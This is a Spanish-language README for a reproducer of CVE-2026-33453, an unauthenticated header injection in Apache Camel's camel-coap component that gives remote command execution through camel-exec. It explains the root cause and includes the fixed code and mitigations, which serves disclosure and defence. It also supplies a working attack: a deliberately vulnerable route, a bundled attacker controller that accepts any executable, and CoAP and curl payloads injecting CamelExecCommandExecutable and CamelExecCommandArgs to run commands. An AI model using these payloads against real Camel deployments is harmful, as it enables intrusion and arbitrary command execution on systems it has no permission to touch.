
Reproductor para CVE-2026-33453: inyección de cabeceras en Apache Camel camel-coap que conduce a RCE mediante camel-exec
Este proyecto demuestra una vulnerabilidad de inyección de cabeceras de mensajes Camel en el componente camel-coap de Apache Camel, registrada como CVE-2026-33453. Un atacante no autenticado que pueda enviar un único paquete UDP CoAP puede inyectar cabeceras de control Camel* arbitrarias en el Exchange, logrando ejecución remota de código cuando la ruta reenvía a un productor sensible a cabeceras, como camel-exec.
Aviso: https://camel.apache.org/security/CVE-2026-33453.html
| Propiedad | Valor |
|---|
| Componente | camel-coap |
| Clase afectada | org.apache.camel.coap.CamelCoapResource (handleRequest) |
| Causa raíz | Parámetros de consulta de la URI CoAP copiados en las cabeceras del Exchange sin HeaderFilterStrategy |
| CWE | CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes |
| Impacto | Ejecución remota de código (mediante productores sensibles a cabeceras, p. ej., camel-exec) |
| Superficie de ataque | Un único datagrama UDP CoAP no autenticado (puerto predeterminado 5683) |
| Versiones afectadas | Desde 4.14.0 hasta antes de 4.14.6, y desde 4.15.0 hasta antes de 4.18.1 |
| Versiones corregidas | 4.14.6, 4.18.1, 4.19.0 |
| JIRA | CAMEL-23222 |
| Informador | Hyunwoo Kim (@v4bel) |
En las versiones afectadas, CamelCoapResource.handleRequest() itera sobre las opciones de consulta URI de la solicitud CoAP y copia cada una en las cabeceras In del Exchange Camel, sin aplicar ningún HeaderFilterStrategy:
// CamelCoapResource.handleRequest() - affected version
OptionSet options = exchange.getRequest().getOptions();
for (String s : options.getUriQuery()) {
int i = s.indexOf('=');
String name = (i == -1) ? s : s.substring(0, i);
String value = (i == -1) ? "" : s.substring(i + 1);
camelExchange.getIn().setHeader(name, value); // NO HeaderFilterStrategy!
}
CoAPEndpoint extiende DefaultEndpoint (no DefaultHeaderFilterStrategyEndpoint) y CoAPComponent no implementa HeaderFilterStrategyComponent, por lo que no hay ningún filtro. Por tanto, un atacante puede establecer cualquier cabecera — incluidas las cabeceras de control Camel* internas de Camel — simplemente añadiendo parámetros de consulta a la URI de la solicitud CoAP.
Cuando la ruta entrega el mensaje a un productor sensible a cabeceras, esas cabeceras modifican su comportamiento. Para camel-exec, las cabeceras CamelExecCommandExecutable y CamelExecCommandArgs sobrescriben el ejecutable y los argumentos configurados en el endpoint (respetadas por defecto en las versiones afectadas), lo que permite la ejecución arbitraria de comandos del sistema operativo. La salida estándar del comando se escribe de vuelta en el cuerpo del Exchange y se devuelve en la respuesta CoAP, proporcionando un canal RCE interactivo.
from("coap://0.0.0.0:5683/run")
.to("exec:echo?args=hello") // fixed, harmless command
.convertBodyTo(String.class); // return stdout in the CoAP response
Una solicitud benigna ejecuta echo hello. Un atacante sobrescribe el comando mediante cabeceras inyectadas.
CoAP está basado en UDP (RFC 7252) y no tiene autenticación integrada (DTLS es opcional y está deshabilitado por defecto), por lo que no se requiere ningún servicio externo ni contenedor Docker — la aplicación reproductora es a la vez el servidor CoAP vulnerable y un cliente atacante incluido (también funciona un cliente simple como coap-client de libcoap).
mvn clean package -DskipTests
mvn spring-boot:run
La aplicación inicia la ruta vulnerable en coap://0.0.0.0:5683/run y un controlador REST auxiliar en el puerto 8080.
curl http://localhost:8080/exploit/normal
# -> CoAP response: hello
# Default benign proof: touch /tmp/pwned
curl "http://localhost:8080/exploit/attack"
# Choose a different executable/args:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-coap"
Internamente, el cliente CoAP incluido envía un único datagrama:
coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned
En su lugar, con un cliente CoAP simple:
coap-client -m get "coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned"
ls -la /tmp/pwned
Si existe /tmp/pwned, la cabecera inyectada sobrescribió el comando exec → RCE.
La inyección solo necesita un productor sensible a cabeceras aguas abajo. El aviso enumera, entre otros:
CamelExecCommandExecutable / CamelExecCommandArgs → ejecución de comandos del sistema operativoCamelFileName → escritura arbitraria de archivos / path traversalCamelBeanMethodName → invocar un método distintocoap://....removeHeaders("Camel*") entre el consumidor CoAP y ese productor.No se requiere autenticación; basta un único datagrama UDP al puerto 5683.
La corrección (CAMEL-23222) hace que CoAPEndpoint tenga un HeaderFilterStrategy y lo aplica en handleRequest() antes de establecer las cabeceras, de modo que los nombres con prefijo Camel* se filtran en el límite CoAP como en cualquier otro transporte:
HeaderFilterStrategy strategy = consumer.getCoapEndpoint().getHeaderFilterStrategy();
...
if (strategy == null || !strategy.applyFilterToExternalHeaders(name, value, camelExchange)) {
camelExchange.getIn().setHeader(name, value);
}
Hasta que se actualice:
.removeHeaders("Camel*") inmediatamente después del from("coap:...").coaps://) con autenticación de cliente para restringir quién puede acceder al endpoint.CVE-2026-33453/
├── pom.xml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java # Spring Boot entry point
│ ├── CoapExecRoute.java # the vulnerable victim route (coap -> exec)
│ └── ExploitController.java # bundled CoAP attacker client (/exploit/normal, /exploit/attack)
└── resources/
└── application.properties
Este reproductor se proporciona solo para investigación de seguridad y pruebas autorizadas, para una vulnerabilidad divulgada públicamente y corregida. No lo utilice contra sistemas sin permiso explícito.